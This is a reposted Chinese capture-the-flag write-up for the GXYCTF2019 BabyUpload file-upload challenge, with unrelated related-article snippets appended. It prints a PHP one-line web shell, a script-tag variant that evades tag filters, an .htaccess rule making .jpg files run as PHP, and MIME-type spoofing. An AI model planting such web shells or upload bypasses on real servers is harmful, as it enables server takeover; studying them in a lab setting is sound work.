[GXYCTF2019]BabyUpload--详细解析

news/2024/11/17 4:29:40/

信息搜集

进入界面,直接就是文件上传界面,结合题目,得知考察的是文件上传漏洞
在这里插入图片描述

思路

文件上传漏洞,第一步先看有没有前端校验
在这里插入图片描述
没有前端校验。

我们写一个一句话木马文件

//shell.php
GIF89a
<?php @eval($_POST[1]);?>

直接上传试试:
在这里插入图片描述界面回显后缀名不能有ph,说明后端对后缀名进行了检测。
那我们修改后缀为.png,然后上传试试:在这里插入图片描述
回显上传类型也太露骨了吧

最开始是猜测是对文件内容进行了过滤,所有再次上传.png文件并抓包测试一下过滤了什么,发现无论怎么修改文件内容都会显示上传类型露骨。
重新审视一下这句话,上传类型在这里指的是文件的后缀类型,将png修改为jpg,上传:
在这里插入图片描述回显变了,但是还是没有上传成功。
根据提示来看,应该是对文件内容中的php语言标签进行了过滤。抓包测试一下到底过滤了没有:
这里用的是我自己总结的字典,需要的可以私信我。
在这里插入图片描述
可以看到过滤了<?php标签和<?=短标签,由于没有单独过滤php,所有我们可以使用script类型标签写马。

//shell.jpg
GIF89a
<script language='php'>@eval($_POST[1]);</script>

上传:
在这里插入图片描述

/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/shell.jpg succesfully uploaded!

成功上传,且获取了上传路径。
这里就和我们之前做的 [MRCTF2020]你传你马呢 很像了,都是将上传的文件放到了upload目录下的一个子目录,导致我们不能使用.user.ini文件,而是要使用.htaccess配置文件。

//.htaccess
AddType application/x-httpd-php .jpg

上传该文件:
在这里插入图片描述直接上传还是被过滤了。那我们把MIME类型修改为image/jpeg试一下。
在这里插入图片描述

/var/www/html/upload/9de741430780f51c0a0a5a416d61e697/.htaccess succesfully uploaded!

成功上传。这时候直接访问我们传入的木马文件即可。
在这里插入图片描述
phpinfo()查看一下,过滤了很多命令,还是拿蚁剑连接吧。
在这里插入图片描述
根目录找到flag。

总结

和之前做的 [MRCTF2020]你传你马呢 很相似。
新颖的点在于这道题对.png文件也进行了过滤,需要我们使用.jpg文件。由于很多题目我们习惯了上传.png文件,导致忽略了这种过滤。
今后在遇到.png文件失效的情况下,不妨多尝试一下.jpg文件。


http://www.ppmy.cn/news/1547626.html

相关文章

python解析网页上的json数据落地到EXCEL

安装必要的库 import requests import pandas as pd import os import sys import io import urllib3 import json测试数据 网页上的数据结构如下 {"success": true,"code": "CIFM_0000","encode": null,"message": &quo…

【Linux】————信号

作者主页&#xff1a; 作者主页 本篇博客专栏&#xff1a;Linux 创作时间 &#xff1a;2024年11月12日 信号和信号量 首先说明这两者之间没有任何关系 信号&#xff1a;信号是在软件层次对中断机制的一种模拟&#xff0c;是一种异步通知机制&#xff0c;用于通知进程发生…

Linux下编译安装Nginx

以下是在Linux下编译安装Nginx的详细步骤&#xff1a; 一、安装依赖库 安装基本编译工具和库 在Debian/Ubuntu系统中&#xff0c;使用以下命令安装&#xff1a;sudo apt -y update sudo apt -y install build - essential libpcre3 - dev zlib1g - dev libssl - dev在CentOS/…

QTcpSocket 服务端和客户端

前提&#xff1a; pro文件中添加 QT network 服务端主要采用信号槽机制&#xff0c;代码如如下 核心代码头文件#ifndef TCPSERVER_H #define TCPSERVER_H#include <QObject>#include <QTcpServer> #include <QTcpSocket> #include <QDebug> #inclu…

用 Python 从零开始创建神经网络(七):梯度下降(Gradient Descent)/导数(Derivatives)

梯度下降&#xff08;Gradient Descent&#xff09;/导数&#xff08;Derivatives&#xff09; 引言1. 参数对输出的影响2. 斜率&#xff08;The Slope&#xff09;3. 数值导数&#xff08;The Numerical Derivative&#xff09;4. 解析导数&#xff08;The Analytical Derivat…

七:如何用Chrome的Network面板分析HTTP报文

在Web开发和调试中,分析HTTP请求和响应报文可以帮助开发者了解浏览器和服务器之间的通信细节,定位并解决各种问题。Chrome浏览器的Network(网络)面板是一个强大的开发工具,它可以详细展示HTTP请求的各个方面,包括请求方法、状态码、头部信息、负载数据等。本文将介绍如何…

Mock.js生成随机数据,拦截 Ajax 请求

Mock.js 是一个用于模拟数据的 JavaScript 库&#xff0c;特别适合用于前端开发过程中生成假数据进行接口测试。它可以拦截 Ajax 请求并生成随机数据&#xff0c;还可以模拟服务器的响应来加速前端开发。 一、安装 Mock.js 可以通过以下几种方式引入 Mock.js&#xff1a; CDN…